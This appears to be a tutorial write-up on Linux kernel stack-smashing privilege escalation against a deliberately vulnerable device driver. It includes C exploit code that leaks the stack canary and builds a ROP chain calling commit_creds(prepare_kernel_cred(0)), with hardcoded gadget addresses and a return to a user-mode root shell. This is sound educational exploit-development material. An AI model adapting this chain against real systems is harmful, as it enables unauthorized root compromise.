Linux Kernel Stack Smashing

A number of mitigations were introduced in recent years, such as Kernel Page Table Isolation and control register pinning, which makes some previous techniques obsolete. Techniques like ret2usr no longer work. But regardless, I am able to privesc and gain a rootshell.

·         Defeat KASLR

·         Leak the stack canary

·         Stack smash and overwrite the canary and return address to trigger a ROP chain

·         ROP to change the current creds to UID 0

·         ROP into the code that returns from a system call and continues execution in user space

·         Continue execution in user space and exec a shell now running at UID 0

It’s hard to disable SMEP/SMAP on the latest kernels so we’ll avoid that in our exploit. That is, we don’t have to disable SMEP/SMAP for the above exploit to work.

{

        struct arb_rw_arg_s arg = { 0, 0 };

        const char *device_name = "/dev/vuln_device";

        unsigned long canary;

        int fd;

        unsigned long ropchain[20];

        fd = open(device_name, O_RDWR);

        if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {

                fprintf(stderr, "error: ioctl\n");

                exit(1);

        }

        canary = arg.value;

        save_status(); // shown later

        printf("Canary: 0x%lx\n", canary);

        ropchain[0] = 0x4142434445464748;

        ropchain[1] = 0x4142434445464748;

        ropchain[2] = canary;

        ropchain[3] = 0x41;

        ropchain[4] = 0x41;

        ropchain[5] = 0x41;

        ropchain[6] = 0x41;

        ropchain[7] = pop_rdi; // return address

The address at ropchain[7] is the return address. This begins our ROP chain.

What we are going to use to privesc is the following code once the ROP chain is complete

        commit_creds(prepare_kernel_cred(0));

To find the address of these functions, I was using gdb on the kernel image (vmlinux). To build the ROP gadgets I ran ropper on the image. It took about 20G of memory and about 10-15 minutes to build gadgets. I ran the kernel inside QEMU with kernel debugging. It was essential to have a good debugging environment to single step through the ROP chain and debug what was going on.

To ROP the privesc code, we need the following. Note the gadget we use to move the return value of prepare_kernel_cred into the argument for commit_creds. On some kernel versions, this gadget isn’t directly available, so I’ve had to use other variants in the past.

unsigned long commit_creds = 0xffffffff810be110;

// xchg rax, rdi; ret

unsigned long move_rax_to_rdi = 0xffffffff81918e14;

// pop rdi; ret;

unsigned long pop_rdi = 0xffffffff81083470;

          ropchain[7] = pop_rdi;

        ropchain[8] = 0x0;

        ropchain[9] = prepare_kernel_cred;

        ropchain[10] = move_rax_to_rdi;

        ropchain[11] = commit_creds;

The remaining part of our ROP chain is to return execution in user mode. Let’s look at code in arch/x86/entry/entry_64.S

We are going to ROP/return so the code we execute is mov %rsp, %rdi. This will do the appropriate code to handle kernel page table isolation and continue usermode code execution. In the following code we will set &shell to be the code which in usermode execs a shell.

Once we build the ROP chain we write our buffer to the device and the kernel stack is smashed and exploited.

ropchain[12] = iret_back_to_user_mode;

        ropchain[14] = 0x0; // orig_eax

        ropchain[15] = (unsigned long)&shell;

        ropchain[16] = ucs;

        ropchain[17] = urflags;

        ropchain[18] = ursp;

        ropchain[19] = uss;

        write(fd, &ropchain[0], 20*sizeof(unsigned long));

        exit(1); // not reached